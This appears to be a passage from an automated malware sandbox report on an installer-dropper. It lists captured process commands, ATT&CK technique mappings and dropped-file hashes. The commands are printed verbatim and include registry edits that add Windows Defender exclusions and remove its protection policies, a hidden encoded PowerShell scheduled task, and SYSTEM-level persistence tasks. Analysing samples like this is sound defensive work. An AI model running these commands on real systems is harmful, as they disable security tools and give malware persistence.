      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HkahGcyMU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:584
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IhGLbnoxkXfU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:668
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IhGLbnoxkXfU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:692
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KYzeFHGsUzoHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:948
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KYzeFHGsUzoHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1792
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YfLMVLBlStOpzgLyvWR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1572
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YfLMVLBlStOpzgLyvWR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1288
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZxVlncgCviUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1384
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZxVlncgCviUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:832
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\iPSRlmjLLzRLmDVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1640
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\iPSRlmjLLzRLmDVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1924
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:624
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:796
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:904
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1256
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HkahGcyMU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1740
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HkahGcyMU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1768
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IhGLbnoxkXfU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1480
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IhGLbnoxkXfU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1544
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KYzeFHGsUzoHC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\KYzeFHGsUzoHC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:364
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YfLMVLBlStOpzgLyvWR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1732
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YfLMVLBlStOpzgLyvWR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZxVlncgCviUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1384
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZxVlncgCviUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:920
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\iPSRlmjLLzRLmDVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:520
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\iPSRlmjLLzRLmDVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1840
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:568
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:952
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1160
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\UwfdYMmOFFbrNKqW" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1088
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gIZqyheDe" /SC once /ST 00:04:18 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:968
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gIZqyheDe"
    3⤵
    PID:1608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gIZqyheDe"
    3⤵
    PID:1240
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:540
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1060
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:680
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "kOIUWtcBvFHFHHfID" /SC once /ST 00:07:03 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UwfdYMmOFFbrNKqW\cjRgBNinPHARvbr\umjyLRB.exe\" AU /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "kOIUWtcBvFHFHHfID"
    3⤵
    PID:556
- C:\Windows\Temp\UwfdYMmOFFbrNKqW\cjRgBNinPHARvbr\umjyLRB.exe
  C:\Windows\Temp\UwfdYMmOFFbrNKqW\cjRgBNinPHARvbr\umjyLRB.exe AU /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bKWyTUrmwTLsbJAOjh"
    3⤵
    PID:1808
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:908
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1308
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\HkahGcyMU\DPwKRg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "hRirSmIXQWofMZr" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1504

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:944

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1608

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "564799353-1169199751355348360-1201301301-10864566601391526709108125445850518234"
1⤵
- Windows security bypass
PID:1256

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
Size 6.3MB
SHA256 ce3a7ec3cc3bf39d57b96e122ebd7cf2b38f4125b55a2e8221901b6389e3b6c1
MD5 841a22820e755964946fb4164fb1c452
SHA1 448e09bc921aa0f730be8e3611f3ca67fb4f2169
SHA512 20ac5a921fffe38dafb64800a15ab487617b2e92e2788d629fc64af759bfcacbfc27a5b889f2339e393502b787c8de114de1e6e38c87793344691236b41b5ac3
SSDEEP 196608:91OyFGeRVQMx9z48yNnxQy2ebJz2cf1mwX5INg1QdZ1egl4U:3Oj8VQM3z48ygdCJKCgMUg1QdiglX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
Size 6.3MB
SHA256 ce3a7ec3cc3bf39d57b96e122ebd7cf2b38f4125b55a2e8221901b6389e3b6c1
MD5 841a22820e755964946fb4164fb1c452
SHA1 448e09bc921aa0f730be8e3611f3ca67fb4f2169
SHA512 20ac5a921fffe38dafb64800a15ab487617b2e92e2788d629fc64af759bfcacbfc27a5b889f2339e393502b787c8de114de1e6e38c87793344691236b41b5ac3
SSDEEP 196608:91OyFGeRVQMx9z48yNnxQy2ebJz2cf1mwX5INg1QdZ1egl4U:3Oj8VQM3z48ygdCJKCgMUg1QdiglX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

kqXAyCg.exe

Path C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP\nGvFiNDMLeAOXbc\kqXAyCg.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

kqXAyCg.exe

Path C:\Users\Admin\AppData\Local\Temp\hRgNDHqLuuUoQOSFP\nGvFiNDMLeAOXbc\kqXAyCg.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 79d0a611a061d55bddf413e967df9303422cca6ea47869a77679728e344d5e43
MD5 89dc53a912ecbca900150348f629e1f7
SHA1 acb3d9cd5dfbadb62753a25c0117d37266da98eb
SHA512 f113c8e47582881df63c8504207d92557a7fa4d0d11e5eb1baaffbe6f60b8b68c3b5fd264831dbe9bda02f9fc2c0979c53d316a41e716b2f11b08a696fea9992
SSDEEP 96:chmxCNM8DnqvsqvJCwod51hmxCNM8DnqvsEHyqvJCwor/5832WQHqB7g0XlUVScC:ErvUo/rvAHnorKj3B7g0v
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 93c11eaf6e7d90d9181c0bbb5435bc42cd72a93e9fc2be17afc68c4b83425083
MD5 747da79f8a4e092ed125641c1756daf6
SHA1 3ce690bac56fd1613e8f94e20b6c7ad1bbadbdb6
SHA512 5b0222513007b8551487ef9034fde03a36ca3c6089d28e83529a10d3a8a407c9fbfc33a302173a39fac365e4cac9660856f4820afb927970bcf0a7d5bb710507
SSDEEP 96:4hmxCNM8DnqvsqvJCwod5BhmxCNM8DnqvsEHyqvJCwor/5832WQHqB7g0XlUVScC:YrvUoTrvAHnorKj3B7g0v
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 0d45a5d8442e8d2b762c60c5e4edb19fe229459fae173200f65afc741685e0f1
MD5 6688b766d69745defa40da0dc96077fc
SHA1 e6e7d781c84ed3ee9fcee05c114439762721dca7
SHA512 db31ceaa9856897063ec1d0599acab3b01ce1eac6c92d7abbba2f78d4668dd43381b37b9d98a9d70437026f9e70c21dad29a9f49fd0e48474d591d6644cab4c6
SSDEEP 96:RGhmxCNM8DnqvsqvJCwod5AGhmxCNM8DnqvsEHyqvJCwor/5832WQHqB7g0XlUVQ:R6rvUoM6rvAHnorKj3B7g0v
MD5 SHA1 SHA512 SSDEEP

Submit Download

vnflgfoGgpctyObg.wsf

Path C:\Windows\Temp\UwfdYMmOFFbrNKqW\OWqbkcvN\vnflgfoGgpctyObg.wsf
Size 8KB
SHA256 e9931afc48e6f6956a0f524eeaf12beef2630c893243046468d51c20960d4bc9
MD5 b673097b2c017617d2cb46cc0ef75c14
SHA1 6042974cf96f58cc56c533db5f2a5b7113b7c70f
SHA512 ec71e80ffe4a179906366a789ff01afb29791ad171037eca104e4202f707f86420156d7539c97b76164e0276ac250b9f4e15daeabbb548107f9a3ee4a2044aaf
SSDEEP 96:oek/EiSuW2dmVblFoMs6+mHzYeHNveHwHknLH6ebk/2eGJtI55NeFGfxCd5EvEtn:Q/EmhGE6NaB6NXyX
MD5 SHA1 SHA512 SSDEEP

Submit Download

umjyLRB.exe

Path C:\Windows\Temp\UwfdYMmOFFbrNKqW\cjRgBNinPHARvbr\umjyLRB.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

umjyLRB.exe

Path C:\Windows\Temp\UwfdYMmOFFbrNKqW\cjRgBNinPHARvbr\umjyLRB.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

gpt.ini

Path C:\Windows\system32\GroupPolicy\gpt.ini
Size 268B
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732
MD5 SHA1 SHA512

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
Size 6.3MB
SHA256 ce3a7ec3cc3bf39d57b96e122ebd7cf2b38f4125b55a2e8221901b6389e3b6c1
MD5 841a22820e755964946fb4164fb1c452
SHA1 448e09bc921aa0f730be8e3611f3ca67fb4f2169
SHA512 20ac5a921fffe38dafb64800a15ab487617b2e92e2788d629fc64af759bfcacbfc27a5b889f2339e393502b787c8de114de1e6e38c87793344691236b41b5ac3
SSDEEP 196608:91OyFGeRVQMx9z48yNnxQy2ebJz2cf1mwX5INg1QdZ1egl4U:3Oj8VQM3z48ygdCJKCgMUg1QdiglX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
Size 6.3MB
SHA256 ce3a7ec3cc3bf39d57b96e122ebd7cf2b38f4125b55a2e8221901b6389e3b6c1
MD5 841a22820e755964946fb4164fb1c452
SHA1 448e09bc921aa0f730be8e3611f3ca67fb4f2169
SHA512 20ac5a921fffe38dafb64800a15ab487617b2e92e2788d629fc64af759bfcacbfc27a5b889f2339e393502b787c8de114de1e6e38c87793344691236b41b5ac3
SSDEEP 196608:91OyFGeRVQMx9z48yNnxQy2ebJz2cf1mwX5INg1QdZ1egl4U:3Oj8VQM3z48ygdCJKCgMUg1QdiglX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
Size 6.3MB
SHA256 ce3a7ec3cc3bf39d57b96e122ebd7cf2b38f4125b55a2e8221901b6389e3b6c1
MD5 841a22820e755964946fb4164fb1c452
SHA1 448e09bc921aa0f730be8e3611f3ca67fb4f2169
SHA512 20ac5a921fffe38dafb64800a15ab487617b2e92e2788d629fc64af759bfcacbfc27a5b889f2339e393502b787c8de114de1e6e38c87793344691236b41b5ac3
SSDEEP 196608:91OyFGeRVQMx9z48yNnxQy2ebJz2cf1mwX5INg1QdZ1egl4U:3Oj8VQM3z48ygdCJKCgMUg1QdiglX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS1DAF.tmp\Install.exe
Size 6.3MB
SHA256 ce3a7ec3cc3bf39d57b96e122ebd7cf2b38f4125b55a2e8221901b6389e3b6c1
MD5 841a22820e755964946fb4164fb1c452
SHA1 448e09bc921aa0f730be8e3611f3ca67fb4f2169
SHA512 20ac5a921fffe38dafb64800a15ab487617b2e92e2788d629fc64af759bfcacbfc27a5b889f2339e393502b787c8de114de1e6e38c87793344691236b41b5ac3
SSDEEP 196608:91OyFGeRVQMx9z48yNnxQy2ebJz2cf1mwX5INg1QdZ1egl4U:3Oj8VQM3z48ygdCJKCgMUg1QdiglX
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

Install.exe

Path \Users\Admin\AppData\Local\Temp\7zS2627.tmp\Install.exe
Size 6.9MB
SHA256 aca1ed419f4e9a4cbb9b333d9580b8a6b608b85fdfd5bdc8b78153935b56ed76
MD5 716733329d44f331e4e26226276691d5
SHA1 394e28f6a9caa5cd76ceaa5ca3f0db609e72331f
SHA512 81b2c0e21e7a07961adbdbdbd0142626571d8261097fe537cb6687695a50ddd98c4dacac10c3278b0cfd6f1c27570770c4f0dc8fa0a405c334955fd76f57b6ed
SSDEEP 196608:0QziX8t1hqE/Z/yxSm2yUuY3bttO8ynEJCTO/PzVXlxj5MTRcV:Fzj1UEtEdHUjtt/yEMTO/PhXT5aRc
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/668-183-0x0000000002544000-0x0000000002547000-memory.dmp

Download

